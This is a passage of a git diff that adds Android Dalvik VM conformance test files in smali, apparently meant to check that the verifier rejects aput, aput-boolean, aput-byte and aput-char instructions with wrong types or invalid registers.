+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_7.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 10
+
+       aput v9, v7, v6
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali
new file mode 100644
index 0000000..1538b9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_8.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IFF)V
+.registers 11
+
+       aput v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali
new file mode 100644
index 0000000..39953c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_9.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 11
+
+       aput v11, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali
new file mode 100644
index 0000000..57f2b52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_1.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 11
+
+       aput-boolean v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali
new file mode 100644
index 0000000..d1f3c06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_2.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZDZ)V
+.registers 11
+
+
+       aput-boolean v10, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali
new file mode 100644
index 0000000..e7f4276
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_3.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIJ)V
+.registers 11
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali
new file mode 100644
index 0000000..099cc98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_4.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali
new file mode 100644
index 0000000..8924947
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_5.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali
new file mode 100644
index 0000000..4186a7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_6.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali
new file mode 100644
index 0000000..ed7a575
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_7.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 10
+
+       aput-boolean v9, v7, v6
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali
new file mode 100644
index 0000000..494a3548
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_8.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZFZ)V
+.registers 11
+
+       aput-boolean v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali
new file mode 100644
index 0000000..6de75fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_9.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 11
+
+       aput-boolean v11, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali
new file mode 100644
index 0000000..c737802
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_1.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 11
+
+       aput-byte v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali
new file mode 100644
index 0000000..a698991
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_2.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BDB)V
+.registers 11
+
+
+       aput-byte v10, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali
new file mode 100644
index 0000000..437aca1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_3.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIJ)V
+.registers 11
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali
new file mode 100644
index 0000000..aee66e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_4.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali
new file mode 100644
index 0000000..8c3ea53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_5.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali
new file mode 100644
index 0000000..29bdaf8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_6.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali
new file mode 100644
index 0000000..4d19358
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_7.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 10
+
+       aput-byte v9, v7, v6
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali
new file mode 100644
index 0000000..b20808e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_8.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BFB)V
+.registers 11
+
+       aput-byte v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali
new file mode 100644
index 0000000..b4ce47b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_9.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 11
+
+       aput-byte v11, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali
new file mode 100644
index 0000000..a455856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_1.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 11
+
+       aput-char v10, v8, v9
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali
new file mode 100644
index 0000000..8db76e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_2.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CDC)V
+.registers 11
+
+
+       aput-char v10, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali
new file mode 100644
index 0000000..72e7282
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_3.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIJ)V
+.registers 11
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali
new file mode 100644
index 0000000..94c1129
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_4.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_4;
